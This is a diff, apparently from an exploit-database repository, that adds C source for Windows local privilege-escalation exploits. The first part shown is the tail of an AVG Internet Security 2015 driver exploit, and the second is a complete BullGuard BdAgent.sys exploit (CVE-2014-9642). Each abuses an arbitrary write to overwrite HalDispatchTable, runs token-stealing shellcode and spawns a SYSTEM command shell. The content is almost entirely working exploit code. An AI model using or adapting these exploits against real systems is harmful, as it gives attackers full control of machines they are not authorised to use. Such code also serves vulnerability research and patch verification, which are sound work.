HalDispatchTable = ((DWORD)Hal - (DWORD)Kernel + (DWORD)kBase);
|
||||
|
||||
printf("[+] Kernel address of HalDispatchTable 0x%08x\n", HalDispatchTable);
|
||||
|
||||
if(!HalDispatchTable)
|
||||
{
|
||||
printf("[-] Failed to calculate HalDispatchTable\n\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
return HalDispatchTable;
|
||||
}
|
||||
|
||||
|
||||
int GetWindowsVersion()
|
||||
{
|
||||
int v = 0;
|
||||
DWORD version = 0, minVersion = 0, majVersion = 0;
|
||||
|
||||
version = GetVersion();
|
||||
|
||||
minVersion = (DWORD)(HIBYTE(LOWORD(version)));
|
||||
majVersion = (DWORD)(LOBYTE(LOWORD(version)));
|
||||
|
||||
if (minVersion == 1 && majVersion == 5) v = 1; // "Windows XP;
|
||||
if (minVersion == 1 && majVersion == 6) v = 2; // "Windows 7";
|
||||
if (minVersion == 2 && majVersion == 5) v = 3; // "Windows Server 2003;
|
||||
|
||||
return v;
|
||||
}
|
||||
|
||||
|
||||
void spawnShell()
|
||||
{
|
||||
STARTUPINFOA si;
|
||||
PROCESS_INFORMATION pi;
|
||||
|
||||
|
||||
ZeroMemory(&pi, sizeof(pi));
|
||||
ZeroMemory(&si, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
|
||||
si.cb = sizeof(si);
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_SHOWNORMAL;
|
||||
|
||||
if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
|
||||
{
|
||||
printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError());
|
||||
return;
|
||||
}
|
||||
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
}
|
||||
|
||||
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
|
||||
_NtQueryIntervalProfile NtQueryIntervalProfile;
|
||||
LPVOID input[1] = {0};
|
||||
LPVOID addrtoshell;
|
||||
HANDLE hDevice;
|
||||
DWORD dwRetBytes = 0;
|
||||
DWORD HalDispatchTableTarget;
|
||||
ULONG time = 0;
|
||||
unsigned char devhandle[MAX_PATH];
|
||||
|
||||
|
||||
printf("-------------------------------------------------------------------------------\n");
|
||||
printf(" AVG Internet Security 2015 (avgtdix.sys) Arbitrary Write EoP Exploit \n");
|
||||
printf(" Tested on Windows XP SP3 (32bit) \n");
|
||||
printf("-------------------------------------------------------------------------------\n\n");
|
||||
|
||||
if (GetWindowsVersion() == 1)
|
||||
{
|
||||
printf("[i] Running Windows XP\n");
|
||||
}
|
||||
|
||||
if (GetWindowsVersion() == 0)
|
||||
{
|
||||
printf("[i] Exploit not supported on this OS\n\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
sprintf(devhandle, "\\\\.\\%s", "avgtdi");
|
||||
|
||||
NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");
|
||||
|
||||
if (!NtQueryIntervalProfile)
|
||||
{
|
||||
printf("[-] Unable to resolve NtQueryIntervalProfile\n\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
addrtoshell = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
if(addrtoshell == NULL)
|
||||
{
|
||||
printf("[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
printf("[+] VirtualAlloc allocated memory at 0x%.8x\n", addrtoshell);
|
||||
|
||||
memset(addrtoshell, 0x90, BUFSIZE);
|
||||
memcpy(addrtoshell, token_steal_xp, sizeof(token_steal_xp));
|
||||
printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp));
|
||||
|
||||
hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
|
||||
|
||||
if (hDevice == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError());
|
||||
return -1;
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("[+] Open %s device successful\n", devhandle);
|
||||
}
|
||||
|
||||
HalDispatchTableTarget = HalDispatchTableAddress() + sizeof(DWORD);
|
||||
printf("[+] HalDispatchTable+4 (0x%08x) will be overwritten\n", HalDispatchTableTarget);
|
||||
|
||||
input[0] = addrtoshell; // input buffer contents gets written to our output buffer address
|
||||
|
||||
printf("[+] Input buffer contents %08x\n", input[0]);
|
||||
|
||||
printf("[~] Press any key to send Exploit . . .\n");
|
||||
getch();
|
||||
|
||||
DeviceIoControl(hDevice, 0x830020f8, input, sizeof(input), (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL);
|
||||
|
||||
printf("[+] Buffer sent\n");
|
||||
|
||||
printf("[+] Spawning SYSTEM Shell\n");
|
||||
NtQueryIntervalProfile(2, &time);
|
||||
spawnShell();
|
||||
|
||||
printf("[+] Restoring Hal dispatch table pointers\n\n");
|
||||
|
||||
DeviceIoControl(hDevice, 0x830020f8, restore_pointers_xp, sizeof(restore_pointers_xp)-1, (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL);
|
||||
|
||||
CloseHandle(hDevice);
|
||||
|
||||
return 0;
|
||||
}
|
340
platforms/windows/local/35994.c
Executable file
340
platforms/windows/local/35994.c
Executable file
|
@ -0,0 +1,340 @@
|
|||
?/*
|
||||
|
||||
Exploit Title - BullGuard Multiple Products Arbitrary Write Privilege Escalation
|
||||
Date - 04th February 2015
|
||||
Discovered by - Parvez Anwar (@parvezghh)
|
||||
Vendor Homepage - http://www.bullguard.com/
|
||||
Tested Version - 14.1.285.4
|
||||
Driver Version - 1.0.0.6 - BdAgent.sys
|
||||
Tested on OS - 32bit Windows XP SP3
|
||||
OSVDB - http://www.osvdb.org/show/osvdb/114478
|
||||
CVE ID - CVE-2014-9642
|
||||
Vendor fix url - http://www.bullguard.com/about/release-notes.aspx
|
||||
Fixed Version - 15.0.288.1
|
||||
Fixed driver ver - 1.0.0.7
|
||||
|
||||
|
||||
|
||||
Note
|
||||
----
|
||||
Overwritten HAL dispatch table after exploit
|
||||
|
||||
kd> dps nt!HalDispatchTable l c
|
||||
8054ccb8 00000003
|
||||
8054ccbc 00340000
|
||||
8054ccc0 00010000
|
||||
8054ccc4 0a060002
|
||||
8054ccc8 ee657645
|
||||
8054cccc 00000001
|
||||
8054ccd0 00000001
|
||||
8054ccd4 867c1bf0
|
||||
8054ccd8 80613f7b nt!IoSetPartitionInformation
|
||||
8054ccdc 806141ef nt!IoWritePartitionTable
|
||||
8054cce0 8052d157 nt!CcHasInactiveViews
|
||||
8054cce4 804e42d1 nt!ObpTraceDepth+0x19
|
||||
|
||||
7 pointers get overwritten. Since input buffer is in our control and pointers
|
||||
are static in XP I've triggered the overwrite again restoring the pointers.
|
||||
|
||||
*/
|
||||
|
||||
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
|
||||
#define BUFSIZE 4096
|
||||
|
||||
|
||||
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
|
||||
PVOID Unknown1;
|
||||
PVOID Unknown2;
|
||||
PVOID Base;
|
||||
ULONG Size;
|
||||
ULONG Flags;
|
||||
USHORT Index;
|
||||
USHORT NameLength;
|
||||
USHORT LoadCount;
|
||||
USHORT PathLength;
|
||||
CHAR ImageName[256];
|
||||
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
|
||||
|
||||
typedef struct _SYSTEM_MODULE_INFORMATION {
|
||||
ULONG Count;
|
||||
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
|
||||
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
|
||||
|
||||
typedef enum _SYSTEM_INFORMATION_CLASS {
|
||||
SystemModuleInformation = 11,
|
||||
SystemHandleInformation = 16
|
||||
} SYSTEM_INFORMATION_CLASS;
|
||||
|
||||
typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
|
||||
SYSTEM_INFORMATION_CLASS SystemInformationClass,
|
||||
PVOID SystemInformation,
|
||||
ULONG SystemInformationLength,
|
||||
PULONG ReturnLength);
|
||||
|
||||
typedef NTSTATUS (WINAPI *_NtQueryIntervalProfile)(
|
||||
DWORD ProfileSource,
|
||||
PULONG Interval);
|
||||
|
||||
typedef void (*FUNCTPTR)();
|
||||
|
||||
|
||||
|
||||
// Windows XP SP3
|
||||
|
||||
#define XP_KPROCESS 0x44 // Offset to _KPROCESS from a _ETHREAD struct
|
||||
#define XP_TOKEN 0xc8 // Offset to TOKEN from the _EPROCESS struct
|
||||
#define XP_UPID 0x84 // Offset to UniqueProcessId FROM the _EPROCESS struct
|
||||
#define XP_APLINKS 0x88 // Offset to ActiveProcessLinks _EPROCESS struct
|
||||
|
||||
|
||||
BYTE token_steal_xp[] =
|
||||
{
|
||||
0x52, // push edx Save edx on the stack
|
||||
0x53, // push ebx Save ebx on the stack
|
||||
0x33,0xc0, // xor eax, eax eax = 0
|
||||
0x64,0x8b,0x80,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD
|
||||
0x8b,0x40,XP_KPROCESS, // mov eax, [eax+XP_KPROCESS] Retrieve _KPROCESS
|
||||
0x8b,0xc8, // mov ecx, eax
|
||||
0x8b,0x98,XP_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+XP_TOKEN] Retrieves TOKEN
|
||||
0x8b,0x80,XP_APLINKS,0x00,0x00,0x00, // mov eax, [eax+XP_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks
|
||||
0x81,0xe8,XP_APLINKS,0x00,0x00,0x00, // sub eax, XP_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks
|
||||
0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // cmp [eax+XP_UPID], 4 | Compares UniqueProcessId with 4 (System Process)
|
||||
0x75,0xe8, // jne ----
|
||||
0x8b,0x90,XP_TOKEN,0x00,0x00,0x00, // mov edx, [eax+XP_TOKEN] Retrieves TOKEN and stores on EDX
|
||||
0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX
|
||||
0x89,0x90,XP_TOKEN,0x00,0x00,0x00, // mov [eax+XP_TOKEN], edx Overwrites the TOKEN for the current KPROCESS
|
||||
0x5b, // pop ebx Restores ebx
|
||||
0x5a, // pop edx Restores edx
|
||||
0xc2,0x08 // ret 8 Away from the kernel
|
||||
};
|
||||
|
||||
|
||||
|
||||
BYTE restore_pointers_xp[] = // kd> dps nt!HalDispatchTable
|
||||
"\xf2\xa3\x6f\x80" // 8054ccbc 806fa3f2 hal!HaliQuerySystemInformation
|
||||
"\xce\xa3\x6f\x80" // 8054ccc0 806fa3ce hal!HaliSetSystemInformation
|
||||
"\x0b\x46\x61\x80" // 8054ccc4 8061460b nt!xHalQueryBusSlots
|
||||
"\x00\x00\x00\x00" // 8054ccc8 00000000
|
||||
"\x4d\xac\x50\x80" // 8054cccc 8050ac4d nt!HalExamineMBR
|
||||
"\x89\x6f\x5c\x80" // 8054ccd0 805c6f89 nt!IoAssignDriveLetters
|
||||
"\xe5\x4a\x5c\x80"; // 8054ccd4 805c4ae5 nt!IoReadPartitionTable
|
||||
|
||||
|
||||
|
||||
DWORD HalDispatchTableAddress()
|
||||
{
|
||||
_NtQuerySystemInformation NtQuerySystemInformation;
|
||||
PSYSTEM_MODULE_INFORMATION pModuleInfo;
|
||||
DWORD HalDispatchTable;
|
||||
CHAR kFullName[256];
|
||||
PVOID kBase = NULL;
|
||||
LPSTR kName;
|
||||
HMODULE Kernel;
|
||||
FUNCTPTR Hal;
|
||||
ULONG len;
|
||||
NTSTATUS status;
|
||||
|
||||
|
||||
NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
|
||||
|
||||
if (!NtQuerySystemInformation)
|
||||
{
|
||||
printf("[-] Unable to resolve NtQuerySystemInformation\n\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
|
||||
|
||||
if (!status)
|
||||
{
|
||||
printf("[-] An error occured while reading NtQuerySystemInformation. Status = 0x%08x\n\n", status);
|
||||
return -1;
|
||||
}
|
||||
|
||||
pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
|
||||
|
||||
if(pModuleInfo == NULL)
|
||||
{
|
||||
printf("[-] An error occurred with GlobalAlloc for pModuleInfo\n\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len);
|
||||
|
||||
memset(kFullName, 0x00, sizeof(kFullName));
|
||||
strcpy_s(kFullName, sizeof(kFullName)-1, pModuleInfo->Module[0].ImageName);
|
||||
kBase = pModuleInfo->Module[0].Base;
|
||||
|
||||
printf("[i] Kernel base name %s\n", kFullName);
|
||||
kName = strrchr(kFullName, '\\');
|
||||
|
||||
Kernel = LoadLibraryA(++kName);
|
||||
|
||||
if(Kernel == NULL)
|
||||
{
|
||||
printf("[-] Failed to load kernel base\n\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
Hal = (FUNCTPTR)GetProcAddress(Kernel, "HalDispatchTable");
|
||||
|
||||
if(Hal == NULL)
|
||||
{
|
||||
printf("[-] Failed to find HalDispatchTable\n\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[i] HalDispatchTable address 0x%08x\n", Hal);
|
||||
printf("[i] Kernel handle 0x%08x\n", Kernel);
|
||||
printf("[i] Kernel base address 0x%08x\n", kBase);
|
||||
|
||||
HalDispatchTable = ((DWORD)Hal - (DWORD)Kernel + (DWORD)kBase);
|
||||
|
||||
printf("[+] Kernel address of HalDispatchTable 0x%08x\n", HalDispatchTable);
|
||||
|
||||
if(!HalDispatchTable)
|
||||
{
|
||||
printf("[-] Failed to calculate HalDispatchTable\n\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
return HalDispatchTable;
|
||||
}
|
||||
|
||||
|
||||
int GetWindowsVersion()
|
||||
{
|
||||
int v = 0;
|
||||
DWORD version = 0, minVersion = 0, majVersion = 0;
|
||||
|
||||
version = GetVersion();
|
||||
|
||||
minVersion = (DWORD)(HIBYTE(LOWORD(version)));
|
||||
majVersion = (DWORD)(LOBYTE(LOWORD(version)));
|
||||
|
||||
if (minVersion == 1 && majVersion == 5) v = 1; // "Windows XP;
|
||||
if (minVersion == 1 && majVersion == 6) v = 2; // "Windows 7";
|
||||
if (minVersion == 2 && majVersion == 5) v = 3; // "Windows Server 2003;
|
||||
|
||||
return v;
|
||||
}
|
||||
|
||||
|
||||
void spawnShell()
|
||||
{
|
||||
STARTUPINFOA si;
|
||||
PROCESS_INFORMATION pi;
|
||||
|
||||
|
||||
ZeroMemory(&pi, sizeof(pi));
|
||||
ZeroMemory(&si, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
|
||||
si.cb = sizeof(si);
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_SHOWNORMAL;
|
||||
|
||||
if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
|
||||
{
|
||||
printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError());
|
||||
return;
|
||||
}
|
||||
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
|
||||
_NtQueryIntervalProfile NtQueryIntervalProfile;
|
||||
LPVOID input[1] = {0};
|
||||
LPVOID addrtoshell;
|
||||
HANDLE hDevice;
|
||||
DWORD dwRetBytes = 0;
|
||||
DWORD HalDispatchTableTarget;
|
||||
ULONG time = 0;
|
||||
unsigned char devhandle[MAX_PATH];
|
||||
|
||||
|
||||
printf("-------------------------------------------------------------------------------\n");
|
||||
printf(" BullGuard Multiple Products (bdagent.sys) Arbitrary Write EoP Exploit \n");
|
||||
printf(" Tested on Windows XP SP3 (32bit) \n");
|
||||
printf("-------------------------------------------------------------------------------\n\n");
|
||||
|
||||
if (GetWindowsVersion() == 1)
|
||||
{
|
||||
printf("[i] Running Windows XP\n");
|
||||
}
|
||||
|
||||
if (GetWindowsVersion() == 0)
|
||||
{
|
||||
printf("[i] Exploit not supported on this OS\n\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
sprintf(devhandle, "\\\\.\\%s", "bdagent");
|
||||
|
||||
NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");
|
||||
|
||||
if (!NtQueryIntervalProfile)
|
||||
{
|
||||
printf("[-] Unable to resolve NtQueryIntervalProfile\n\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
addrtoshell = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
if(addrtoshell == NULL)
|
||||
{
|
||||
printf("[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
printf("[+] VirtualAlloc allocated memory at 0x%.8x\n", addrtoshell);
|
||||
|
||||
memset(addrtoshell, 0x90, BUFSIZE);
|
||||
memcpy(addrtoshell, token_steal_xp, sizeof(token_steal_xp));
|
||||
printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp));
|
||||
|
||||
hDevice = CreateFile(devhandle, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
|
||||
|
||||
if (hDevice == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError());
|
||||
return -1;
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("[+] Open %s device successful\n", devhandle);
|
||||
}
|
||||
|
||||
HalDispatchTableTarget = HalDispatchTableAddress() + sizeof(DWORD);
|
||||
printf("[+] HalDispatchTable+4 (0x%08x) will be overwritten\n", HalDispatchTableTarget);
|
||||
|
||||
input[0] = addrtoshell; // input buffer contents gets written to our output buffer address
|
||||
|
||||
printf("[+] Input buffer contents %08x\n", input[0]);
|
||||
|
||||
printf("[~] Press any key to send Exploit . . .\n");
|
||||
getch();
|
||||
|
||||
DeviceIoControl(hDevice, 0x0022405c, input, sizeof(input), (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL);
|
||||
|
||||
printf("[+] Buffer sent\n");
|
||||
|
||||
printf("[+] Spawning SYSTEM Shell\n");
|
||||
NtQueryIntervalProfile(2, &time);
|
||||
spawnShell();
|
||||
|
||||
printf("[+] Restoring Hal dispatch table pointers\n\n");
|
||||
|
||||
DeviceIoControl(hDevice, 0x0022405c, restore_pointers_xp, sizeof(restore_pointers_xp)-1, (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL);
|
||||
|
||||
CloseHandle(hDevice);
|
||||
|
||||
return 0;
|
||||
}
|
Loading…
Add table
Reference in a new issue